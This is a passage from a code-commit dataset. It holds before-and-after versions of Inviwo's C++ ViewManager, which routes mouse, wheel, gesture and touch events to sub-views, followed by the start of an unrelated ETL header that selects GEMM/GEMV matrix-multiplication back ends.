= dvec2(me->canvasSize() - uvec2(1)) \/\n dvec2(views_[selectedView_.second].size - ivec2(1));\n newEvent.setPosNormalized(scale * (newEvent.posNormalized() - offset));\n propagator(&newEvent, selectedView_.second);\n if (newEvent.hasBeenUsed()) me->markAsUsed();\n for (auto p : newEvent.getVisitedProcessors()) me->markAsVisited(p);\n\n return true;\n } else {\n return false;\n }\n}\n\nbool ViewManager::propagateWheelEvent(WheelEvent* we, Propagator propagator) {\n selectedView_ = findView(we->pos());\n\n if (selectedView_.first && selectedView_.second < views_.size()) {\n WheelEvent newEvent(*we);\n newEvent.setCanvasSize(uvec2(views_[selectedView_.second].size));\n auto offset = dvec2(views_[selectedView_.second].pos) \/ dvec2(we->canvasSize() - uvec2(1));\n auto scale = dvec2(we->canvasSize() - uvec2(1)) \/\n dvec2(views_[selectedView_.second].size - ivec2(1));\n newEvent.setPosNormalized(scale * (newEvent.posNormalized() - offset));\n propagator(&newEvent, selectedView_.second);\n if (newEvent.hasBeenUsed()) we->markAsUsed();\n for (auto p : newEvent.getVisitedProcessors()) we->markAsVisited(p);\n\n return true;\n } else {\n return false;\n }\n}\n\nbool ViewManager::propagateGestureEvent(GestureEvent* ge, Propagator propagator) {\n selectedView_ = eventState_.getView(*this, ge);\n\n if (selectedView_.first && selectedView_.second < views_.size()) {\n GestureEvent newEvent(*ge);\n newEvent.setCanvasSize(uvec2(views_[selectedView_.second].size));\n auto offset = dvec2(views_[selectedView_.second].pos) \/ dvec2(ge->canvasSize() - uvec2(1));\n auto scale = dvec2(ge->canvasSize() - uvec2(1)) \/\n dvec2(views_[selectedView_.second].size - ivec2(1));\n newEvent.setScreenPosNormalized(scale * (newEvent.screenPosNormalized() - offset));\n propagator(&newEvent, selectedView_.second);\n if (newEvent.hasBeenUsed()) ge->markAsUsed();\n for (auto p : newEvent.getVisitedProcessors()) ge->markAsVisited(p);\n\n return true;\n } else {\n return false;\n }\n}\n\nbool ViewManager::propagateTouchEvent(TouchEvent* te, Propagator propagator) {\n auto& touchPoints = te->touchPoints();\n\n std::unordered_map<size_t, std::vector<TouchPoint>> viewIdToTouchPoints;\n std::vector<int> propagatedPointIds;\n\n auto idToView = eventState_.getView(*this, te);\n for (auto& point : touchPoints) {\n auto it = idToView.find(point.id());\n if (it != idToView.end()) {\n viewIdToTouchPoints[it->second].push_back(point);\n }\n }\n\n for (auto& item : viewIdToTouchPoints) {\n const auto& viewId = item.first;\n auto points = item.second;\n\n const auto canvasSize = uvec2(views_[viewId].size);\n const auto offset = dvec2(views_[viewId].pos) \/ dvec2(te->canvasSize() - uvec2(1));\n const auto scale =\n dvec2(te->canvasSize() - uvec2(1)) \/ dvec2(views_[viewId].size - ivec2(1));\n\n for (auto& p : points) {\n p.setCanvasSize(canvasSize);\n p.setPosNormalized(scale * (p.posNormalized() - offset));\n p.setPrevPosNormalized(scale * (p.prevPosNormalized() - offset));\n p.setPressedPosNormalized(scale * (p.pressedPosNormalized() - offset));\n }\n\n TouchEvent newEvent(points, te->getDevice(), te->modifiers());\n\n propagator(&newEvent, viewId);\n\n for (auto p : newEvent.getVisitedProcessors()) te->markAsVisited(p);\n for (const auto& p : points) propagatedPointIds.push_back(p.id());\n }\n\n \/\/ remove the \"used\" points from the event\n util::erase_remove_if(\n touchPoints, [&](const auto& p) { return util::contains(propagatedPointIds, p.id()); });\n\n if (touchPoints.empty()) te->markAsUsed();\n\n return touchPoints.empty();\n}\n\nbool ViewManager::propagateEvent(Event* event, Propagator propagator) {\n switch (event->hash()) {\n case PickingEvent::chash(): {\n return propagatePickingEvent(static_cast<PickingEvent*>(event), propagator);\n }\n case MouseEvent::chash(): {\n return propagateMouseEvent(static_cast<MouseEvent*>(event), propagator);\n }\n case WheelEvent::chash(): {\n return propagateWheelEvent(static_cast<WheelEvent*>(event), propagator);\n }\n case GestureEvent::chash(): {\n return propagateGestureEvent(static_cast<GestureEvent*>(event), propagator);\n }\n case TouchEvent::chash(): {\n return propagateTouchEvent(static_cast<TouchEvent*>(event), propagator);\n }\n default:\n return false;\n }\n}\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::getSelectedView() const { return selectedView_; }\n\nconst ViewManager::ViewList& ViewManager::getViews() const { return views_; }\n\nvoid ViewManager::push_back(View view) { views_.push_back(view); }\n\nvoid ViewManager::erase(View view) {\n util::erase_remove_if(views_,\n [&](const auto& v) { return view.pos == v.pos && view.size == v.size; });\n}\n\nvoid ViewManager::erase(ViewId ind) {\n if (ind < views_.size()) {\n views_.erase(views_.begin() + ind);\n }\n}\n\nvoid ViewManager::replace(ViewId ind, View view) {\n if (ind < views_.size()) {\n views_[ind] = view;\n } else {\n throw Exception(\"Out of range\", IVW_CONTEXT);\n }\n}\n\nViewManager::View& ViewManager::operator[](ViewId ind) { return views_[ind]; }\n\nsize_t ViewManager::size() const { return views_.size(); }\n\nvoid ViewManager::clear() { views_.clear(); }\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::findView(ivec2 pos) const {\n auto it = util::find_if(views_, [&](const auto& view) { return inView(view, pos); });\n if (it != views_.end()) {\n return {true, std::distance(views_.begin(), it)};\n } else {\n return {false, 0};\n }\n}\n\nbool ViewManager::inView(const View& view, const ivec2& pos) {\n return glm::all(glm::greaterThanEqual(pos, view.pos)) &&\n glm::all(glm::lessThan(pos, view.pos + view.size));\n}\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::EventState::getView(ViewManager& m,\n const MouseEvent* me) {\n if (!pressing_ && me->buttonState() != MouseButton::None) { \/\/ Start Pressing\n pressing_ = true;\n pressedView_ = m.findView(static_cast<ivec2>(me->pos()));\n } else if (pressing_ && me->buttonState() == MouseButton::None) { \/\/ Stop Pressing\n pressing_ = false;\n pressedView_ = {false, 0};\n }\n return pressing_ ? pressedView_ : m.findView(static_cast<ivec2>(me->pos()));\n}\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::EventState::getView(ViewManager& m,\n const GestureEvent* ge) {\n if (!pressing_ && ge->state() == GestureState::Started) { \/\/ Start Pressing\n pressing_ = true;\n pressedView_ =\n m.findView(static_cast<ivec2>(dvec2(ge->canvasSize()) * ge->screenPosNormalized()));\n } else if (pressing_ && ge->state() == GestureState::Finished) { \/\/ Stop Pressing\n pressing_ = false;\n auto tmp = pressedView_;\n pressedView_ = {false, 0};\n return tmp;\n }\n return pressedView_;\n}\n\nstd::unordered_map<int, ViewManager::ViewId> ViewManager::EventState::getView(\n ViewManager& m, const TouchEvent* te) {\n\n std::unordered_map<int, ViewId> newTouchpointIdToViewID;\n std::vector<std::pair<bool, ViewManager::ViewId>> foundViews;\n\n for (const auto& tp : te->touchPoints()) {\n switch (tp.state()) {\n case TouchState::Started: {\n auto res = m.findView(static_cast<ivec2>(tp.pos()));\n if (res.first) {\n touchpointIdToViewId_[tp.id()] = res.second;\n newTouchpointIdToViewID[tp.id()] = res.second;\n }\n break;\n }\n case TouchState::Finished: {\n auto it = touchpointIdToViewId_.find(tp.id());\n if (it != touchpointIdToViewId_.end()) {\n newTouchpointIdToViewID[tp.id()] = it->second;\n }\n touchpointIdToViewId_.erase(tp.id());\n break;\n }\n case TouchState::Stationary:\n case TouchState::Updated:\n case TouchState::None:\n default: {\n auto it = touchpointIdToViewId_.find(tp.id());\n if (it != touchpointIdToViewId_.end()) {\n newTouchpointIdToViewID[tp.id()] = it->second;\n }\n break;\n }\n }\n }\n return newTouchpointIdToViewID;\n}\n\n} \/\/ namespace inviwo\n<commit_msg>BaseGL: ViewManager: Only check agains points of used events to determine wether the event was used or not.<commit_after>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2019 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *********************************************************************************\/\n\n#include <modules\/basegl\/viewmanager.h>\n#include <inviwo\/core\/interaction\/events\/mouseevent.h>\n#include <inviwo\/core\/interaction\/events\/gestureevent.h>\n#include <inviwo\/core\/interaction\/events\/touchevent.h>\n#include <inviwo\/core\/interaction\/events\/wheelevent.h>\n#include <inviwo\/core\/interaction\/events\/pickingevent.h>\n\n#include <inviwo\/core\/util\/exception.h>\n\nnamespace inviwo {\n\nViewManager::ViewManager() = default;\n\nbool ViewManager::propagatePickingEvent(PickingEvent* pe, Propagator propagator) {\n\n auto prop = [&](Event* newEvent, size_t ind) {\n if (newEvent) {\n auto pressPos = pe->getPressedPosition();\n auto previousPos = pe->getPreviousPosition();\n\n auto offset = dvec2(views_[ind].pos) \/ dvec2(pe->getCanvasSize() - uvec2(1));\n auto scale = dvec2(pe->getCanvasSize() - uvec2(1)) \/ dvec2(views_[ind].size - ivec2(1));\n\n auto pressNDC = dvec3(2.0 * scale * (pressPos - offset) - 1.0, pe->getPressedDepth());\n auto previousNDC =\n dvec3(2.0 * scale * (previousPos - offset) - 1.0, pe->getPreviousDepth());\n\n PickingEvent newPe(pe->getPickingAction(), static_cast<InteractionEvent*>(newEvent),\n pe->getState(), pe->getPressState(), pe->getPressItem(),\n pe->getHoverState(), pe->getPressItems(), pe->getGlobalPickingId(),\n pe->getCurrentGlobalPickingId(), pe->getPressedGlobalPickingId(),\n pe->getPreviousGlobalPickingId(), pressNDC, previousNDC);\n\n propagator(&newPe, ind);\n if (newPe.hasBeenUsed()) newEvent->markAsUsed();\n for (auto p : newPe.getVisitedProcessors()) newEvent->markAsVisited(p);\n }\n };\n\n auto e = pe->getEvent();\n bool propagated = false;\n switch (e->hash()) {\n case MouseEvent::chash():\n propagated = propagateMouseEvent(static_cast<MouseEvent*>(e), prop);\n break;\n case WheelEvent::chash():\n propagated = propagateWheelEvent(static_cast<WheelEvent*>(e), prop);\n break;\n case GestureEvent::chash():\n propagated = propagateGestureEvent(static_cast<GestureEvent*>(e), prop);\n break;\n case TouchEvent::chash():\n propagated = propagateTouchEvent(static_cast<TouchEvent*>(e), prop);\n break;\n default:\n propagated = false;\n break;\n }\n if (e->hasBeenUsed()) pe->markAsUsed();\n for (auto p : e->getVisitedProcessors()) pe->markAsVisited(p);\n\n return propagated;\n}\n\nbool ViewManager::propagateMouseEvent(MouseEvent* me, Propagator propagator) {\n selectedView_ = eventState_.getView(*this, me);\n\n if (selectedView_.first && selectedView_.second < views_.size()) {\n MouseEvent newEvent(*me);\n newEvent.setCanvasSize(uvec2(views_[selectedView_.second].size));\n auto offset = dvec2(views_[selectedView_.second].pos) \/ dvec2(me->canvasSize() - uvec2(1));\n auto scale = dvec2(me->canvasSize() - uvec2(1)) \/\n dvec2(views_[selectedView_.second].size - ivec2(1));\n newEvent.setPosNormalized(scale * (newEvent.posNormalized() - offset));\n propagator(&newEvent, selectedView_.second);\n if (newEvent.hasBeenUsed()) me->markAsUsed();\n for (auto p : newEvent.getVisitedProcessors()) me->markAsVisited(p);\n\n return true;\n } else {\n return false;\n }\n}\n\nbool ViewManager::propagateWheelEvent(WheelEvent* we, Propagator propagator) {\n selectedView_ = findView(we->pos());\n\n if (selectedView_.first && selectedView_.second < views_.size()) {\n WheelEvent newEvent(*we);\n newEvent.setCanvasSize(uvec2(views_[selectedView_.second].size));\n auto offset = dvec2(views_[selectedView_.second].pos) \/ dvec2(we->canvasSize() - uvec2(1));\n auto scale = dvec2(we->canvasSize() - uvec2(1)) \/\n dvec2(views_[selectedView_.second].size - ivec2(1));\n newEvent.setPosNormalized(scale * (newEvent.posNormalized() - offset));\n propagator(&newEvent, selectedView_.second);\n if (newEvent.hasBeenUsed()) we->markAsUsed();\n for (auto p : newEvent.getVisitedProcessors()) we->markAsVisited(p);\n\n return true;\n } else {\n return false;\n }\n}\n\nbool ViewManager::propagateGestureEvent(GestureEvent* ge, Propagator propagator) {\n selectedView_ = eventState_.getView(*this, ge);\n\n if (selectedView_.first && selectedView_.second < views_.size()) {\n GestureEvent newEvent(*ge);\n newEvent.setCanvasSize(uvec2(views_[selectedView_.second].size));\n auto offset = dvec2(views_[selectedView_.second].pos) \/ dvec2(ge->canvasSize() - uvec2(1));\n auto scale = dvec2(ge->canvasSize() - uvec2(1)) \/\n dvec2(views_[selectedView_.second].size - ivec2(1));\n newEvent.setScreenPosNormalized(scale * (newEvent.screenPosNormalized() - offset));\n propagator(&newEvent, selectedView_.second);\n if (newEvent.hasBeenUsed()) ge->markAsUsed();\n for (auto p : newEvent.getVisitedProcessors()) ge->markAsVisited(p);\n\n return true;\n } else {\n return false;\n }\n}\n\nbool ViewManager::propagateTouchEvent(TouchEvent* te, Propagator propagator) {\n auto& touchPoints = te->touchPoints();\n\n std::unordered_map<size_t, std::vector<TouchPoint>> viewIdToTouchPoints;\n std::vector<int> usedPointIds;\n\n auto idToView = eventState_.getView(*this, te);\n for (auto& point : touchPoints) {\n auto it = idToView.find(point.id());\n if (it != idToView.end()) {\n viewIdToTouchPoints[it->second].push_back(point);\n }\n }\n\n for (auto& item : viewIdToTouchPoints) {\n const auto& viewId = item.first;\n auto points = item.second;\n\n const auto canvasSize = uvec2(views_[viewId].size);\n const auto offset = dvec2(views_[viewId].pos) \/ dvec2(te->canvasSize() - uvec2(1));\n const auto scale =\n dvec2(te->canvasSize() - uvec2(1)) \/ dvec2(views_[viewId].size - ivec2(1));\n\n for (auto& p : points) {\n p.setCanvasSize(canvasSize);\n p.setPosNormalized(scale * (p.posNormalized() - offset));\n p.setPrevPosNormalized(scale * (p.prevPosNormalized() - offset));\n p.setPressedPosNormalized(scale * (p.pressedPosNormalized() - offset));\n }\n\n TouchEvent newEvent(points, te->getDevice(), te->modifiers());\n\n propagator(&newEvent, viewId);\n\n for (auto p : newEvent.getVisitedProcessors()) te->markAsVisited(p);\n if (newEvent.hasBeenUsed()) {\n for (const auto& p : points) {\n usedPointIds.push_back(p.id());\n }\n }\n }\n\n \/\/ remove the \"used\" points from the event\n util::erase_remove_if(touchPoints,\n [&](const auto& p) { return util::contains(usedPointIds, p.id()); });\n\n if (touchPoints.empty()) {\n te->markAsUsed();\n }\n\n return touchPoints.empty();\n}\n\nbool ViewManager::propagateEvent(Event* event, Propagator propagator) {\n switch (event->hash()) {\n case PickingEvent::chash(): {\n return propagatePickingEvent(static_cast<PickingEvent*>(event), propagator);\n }\n case MouseEvent::chash(): {\n return propagateMouseEvent(static_cast<MouseEvent*>(event), propagator);\n }\n case WheelEvent::chash(): {\n return propagateWheelEvent(static_cast<WheelEvent*>(event), propagator);\n }\n case GestureEvent::chash(): {\n return propagateGestureEvent(static_cast<GestureEvent*>(event), propagator);\n }\n case TouchEvent::chash(): {\n return propagateTouchEvent(static_cast<TouchEvent*>(event), propagator);\n }\n default:\n return false;\n }\n}\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::getSelectedView() const { return selectedView_; }\n\nconst ViewManager::ViewList& ViewManager::getViews() const { return views_; }\n\nvoid ViewManager::push_back(View view) { views_.push_back(view); }\n\nvoid ViewManager::erase(View view) {\n util::erase_remove_if(views_,\n [&](const auto& v) { return view.pos == v.pos && view.size == v.size; });\n}\n\nvoid ViewManager::erase(ViewId ind) {\n if (ind < views_.size()) {\n views_.erase(views_.begin() + ind);\n }\n}\n\nvoid ViewManager::replace(ViewId ind, View view) {\n if (ind < views_.size()) {\n views_[ind] = view;\n } else {\n throw Exception(\"Out of range\", IVW_CONTEXT);\n }\n}\n\nViewManager::View& ViewManager::operator[](ViewId ind) { return views_[ind]; }\n\nsize_t ViewManager::size() const { return views_.size(); }\n\nvoid ViewManager::clear() { views_.clear(); }\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::findView(ivec2 pos) const {\n auto it = util::find_if(views_, [&](const auto& view) { return inView(view, pos); });\n if (it != views_.end()) {\n return {true, std::distance(views_.begin(), it)};\n } else {\n return {false, 0};\n }\n}\n\nbool ViewManager::inView(const View& view, const ivec2& pos) {\n return glm::all(glm::greaterThanEqual(pos, view.pos)) &&\n glm::all(glm::lessThan(pos, view.pos + view.size));\n}\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::EventState::getView(ViewManager& m,\n const MouseEvent* me) {\n if (!pressing_ && me->buttonState() != MouseButton::None) { \/\/ Start Pressing\n pressing_ = true;\n pressedView_ = m.findView(static_cast<ivec2>(me->pos()));\n } else if (pressing_ && me->buttonState() == MouseButton::None) { \/\/ Stop Pressing\n pressing_ = false;\n pressedView_ = {false, 0};\n }\n return pressing_ ? pressedView_ : m.findView(static_cast<ivec2>(me->pos()));\n}\n\nstd::pair<bool, ViewManager::ViewId> ViewManager::EventState::getView(ViewManager& m,\n const GestureEvent* ge) {\n if (!pressing_ && ge->state() == GestureState::Started) { \/\/ Start Pressing\n pressing_ = true;\n pressedView_ =\n m.findView(static_cast<ivec2>(dvec2(ge->canvasSize()) * ge->screenPosNormalized()));\n } else if (pressing_ && ge->state() == GestureState::Finished) { \/\/ Stop Pressing\n pressing_ = false;\n auto tmp = pressedView_;\n pressedView_ = {false, 0};\n return tmp;\n }\n return pressedView_;\n}\n\nstd::unordered_map<int, ViewManager::ViewId> ViewManager::EventState::getView(\n ViewManager& m, const TouchEvent* te) {\n\n std::unordered_map<int, ViewId> newTouchpointIdToViewID;\n std::vector<std::pair<bool, ViewManager::ViewId>> foundViews;\n\n for (const auto& tp : te->touchPoints()) {\n switch (tp.state()) {\n case TouchState::Started: {\n auto res = m.findView(static_cast<ivec2>(tp.pos()));\n if (res.first) {\n touchpointIdToViewId_[tp.id()] = res.second;\n newTouchpointIdToViewID[tp.id()] = res.second;\n }\n break;\n }\n case TouchState::Finished: {\n auto it = touchpointIdToViewId_.find(tp.id());\n if (it != touchpointIdToViewId_.end()) {\n newTouchpointIdToViewID[tp.id()] = it->second;\n }\n touchpointIdToViewId_.erase(tp.id());\n break;\n }\n case TouchState::Stationary:\n case TouchState::Updated:\n case TouchState::None:\n default: {\n auto it = touchpointIdToViewId_.find(tp.id());\n if (it != touchpointIdToViewId_.end()) {\n newTouchpointIdToViewID[tp.id()] = it->second;\n }\n break;\n }\n }\n }\n return newTouchpointIdToViewID;\n}\n\n} \/\/ namespace inviwo\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2016 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n\/\/The implementations\n#include \"etl\/impl\/std\/mmul.hpp\"\n#include \"etl\/impl\/std\/strassen_mmul.hpp\"\n#include \"etl\/impl\/blas\/gemm.hpp\"\n#include \"etl\/impl\/vec\/gemm.hpp\"\n#include \"etl\/impl\/cublas\/gemm.hpp\"\n\nnamespace etl {\n\nnamespace detail {\n\n\/*!\n * \\brief Select an implementation of GEMM, not considering local context\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The inner dimension of the multiplication\n * \\param n3 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline cpp14_constexpr gemm_impl select_default_gemm_impl(const std::size_t n1, const std::size_t n2, const std::size_t n3) {\n cpp_unused(n2);\n\n constexpr bool DMA = all_dma<A, B, C>::value;\n\n \/\/Note since these boolean will be known at compile time, the conditions will be a lot simplified\n constexpr bool blas = is_cblas_enabled;\n constexpr bool cublas = is_cublas_enabled;\n\n if (cublas && DMA) {\n if (n1 * n3 < gemm_cublas_min) {\n if (blas) {\n return gemm_impl::BLAS;\n }\n\n if (n1 * n3 < gemm_std_max) {\n return gemm_impl::STD;\n }\n }\n\n return gemm_impl::CUBLAS;\n } else if (blas && DMA) {\n return gemm_impl::BLAS;\n }\n\n if(vec_enabled && all_vectorizable<vector_mode, A, B, C>::value){\n return gemm_impl::VEC;\n }\n\n return gemm_impl::STD;\n}\n\n\/*!\n * \\brief Select an implementation of GEMM\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The inner dimension of the multiplication\n * \\param n3 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline gemm_impl select_gemm_impl(const std::size_t n1, const std::size_t n2, const std::size_t n3) {\n constexpr bool DMA = all_dma<A, B, C>::value;\n\n auto def = select_default_gemm_impl<A, B, C>(n1, n2, n3);\n\n if (local_context().gemm_selector.forced) {\n auto forced = local_context().gemm_selector.impl;\n\n switch (forced) {\n \/\/CUBLAS cannot always be used\n case gemm_impl::CUBLAS:\n if (!is_cublas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to CUBLAS gemm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return def; \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/BLAS cannot always be used\n case gemm_impl::BLAS:\n if (!is_cblas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to BLAS gemm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return def; \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/VEC cannot always be used\n case gemm_impl::VEC:\n if (!vec_enabled || !all_vectorizable<vector_mode, A, B, C>::value) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to VEC gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return def; \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/In other cases, simply use the forced impl\n default:\n return forced;\n }\n }\n\n return def;\n}\n\n\/*!\n * \\brief Select an implementation of GEMV, not considering local context\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline cpp14_constexpr gemm_impl select_default_gemv_impl(const std::size_t n1, const std::size_t n2) {\n constexpr bool DMA = all_dma<A, B, C>::value;\n using T = value_t<A>;\n\n if(DMA && is_cblas_enabled){\n return gemm_impl::BLAS;\n }\n\n if(all_vectorizable<vector_mode, A, B, C>::value && vec_enabled){\n return gemm_impl::VEC;\n }\n\n if (is_cublas_enabled) {\n if (is_complex_single_t<T>::value && n1 * n2 > 1000 * 1000) {\n return gemm_impl::CUBLAS;\n }\n }\n\n return gemm_impl::STD;\n}\n\n\/*!\n * \\brief Select an implementation of GEMV\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline gemm_impl select_gemv_impl(const std::size_t n1, const std::size_t n2) {\n static constexpr bool DMA = all_dma<A, B, C>::value;\n\n if (local_context().gemm_selector.forced) {\n auto forced = local_context().gemm_selector.impl;\n\n switch (forced) {\n \/\/CUBLAS cannot always be used\n case gemm_impl::CUBLAS:\n if (!is_cublas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to CUBLAS gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/BLAS cannot always be used\n case gemm_impl::BLAS:\n if (!is_cblas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to BLAS gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/VEC cannot always be used\n case gemm_impl::VEC:\n if (!vec_enabled || !all_vectorizable<vector_mode, A, B, C>::value) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to VEC gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/In other cases, simply use the forced impl\n default:\n return forced;\n }\n }\n\n return select_default_gemv_impl<A, B, C>(n1, n2);\n}\n\n\/*!\n * \\brief Select an implementation of GEVM, not considering local context\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline cpp14_constexpr gemm_impl select_default_gevm_impl(const std::size_t n1, const std::size_t n2) {\n constexpr bool DMA = all_dma<A, B, C>::value;\n using T = value_t<A>;\n\n if(DMA && is_cblas_enabled){\n return gemm_impl::BLAS;\n }\n\n if(all_vectorizable<vector_mode, A, B, C>::value && vec_enabled){\n return gemm_impl::VEC;\n }\n\n if (is_cublas_enabled) {\n if (is_complex_single_t<T>::value && n1 * n2 > 1000 * 1000) {\n return gemm_impl::CUBLAS;\n }\n }\n\n return gemm_impl::STD;\n}\n\n\/*!\n * \\brief Select an implementation of GEVM\n * \\param n1 The left dimension of the multiplication\n * \\param n2 The right dimension of the multiplication\n * \\return The implementation to use\n *\/\ntemplate <typename A, typename B, typename C>\ninline gemm_impl select_gevm_impl(const std::size_t n1, const std::size_t n2) {\n static constexpr bool DMA = all_dma<A, B, C>::value;\n\n if (local_context().gemm_selector.forced) {\n auto forced = local_context().gemm_selector.impl;\n\n switch (forced) {\n \/\/CUBLAS cannot always be used\n case gemm_impl::CUBLAS:\n if (!is_cublas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to CUBLAS gevm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gevm_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/BLAS cannot always be used\n case gemm_impl::BLAS:\n if (!is_cblas_enabled || !DMA) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to BLAS gevm implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gevm_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/VEC cannot always be used\n case gemm_impl::VEC:\n if (!vec_enabled || !all_vectorizable<vector_mode, A, B, C>::value) { \/\/COVERAGE_EXCLUDE_LINE\n std::cerr << \"Forced selection to VEC gemv implementation, but not possible for this expression\" << std::endl; \/\/COVERAGE_EXCLUDE_LINE\n return select_default_gemv_impl<A, B, C>(n1, n2); \/\/COVERAGE_EXCLUDE_LINE\n } \/\/COVERAGE_EXCLUDE_LINE\n\n return forced;\n\n \/\/In other cases, simply use the forced impl\n default:\n return forced;\n }\n }\n\n return select_default_gevm_impl<A, B, C>(n1, n2);\n}\n\n\/*!\n * \\brief Functor for matrix-matrix multiplication\n *\/\nstruct mm_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n gemm_impl impl = select_gemm_impl<A, B, C>(etl::dim<0>(a), etl::dim<1>(a), etl::dim<1>(c));\n\n if (impl == gemm_impl::STD) {\n etl::impl::standard::mm_mul(a, b, c);\n } else if (impl == gemm_impl::VEC) {\n etl::impl::vec::gemm(a, b, c);\n } else if (impl == gemm_impl::BLAS) {\n etl::impl::blas::gemm(a, b, c);\n } else if (impl == gemm_impl::CUBLAS) {\n etl::impl::cublas::gemm(a, b, c);\n }\n }\n};\n\n\/*!\n * \\brief Functor for vector-matrix multiplication\n *\/\nstruct vm_mul_impl {\n \/*!\n * \\brief Apply the function C = A * B\n * \\param a The lhs of the multiplication\n * \\param b The rhs of the multiplication\n * \\param c The target of the multiplication\n *\/\n template <typename A, typename B, typename C>\n static void apply(A&& a, B&& b, C&& c) {\n gemm_impl impl = select_gevm_impl<A, B, C>(etl::dim<0>(b), etl::dim<1>(b));\n\n if (impl == gemm_impl::STD) {\n etl::impl::standard::vm_mul(a, b, c);\n } else if (impl == gemm_impl::BLAS) {\n etl::impl::blas::gevm(a, b, c);\n } else if (impl == 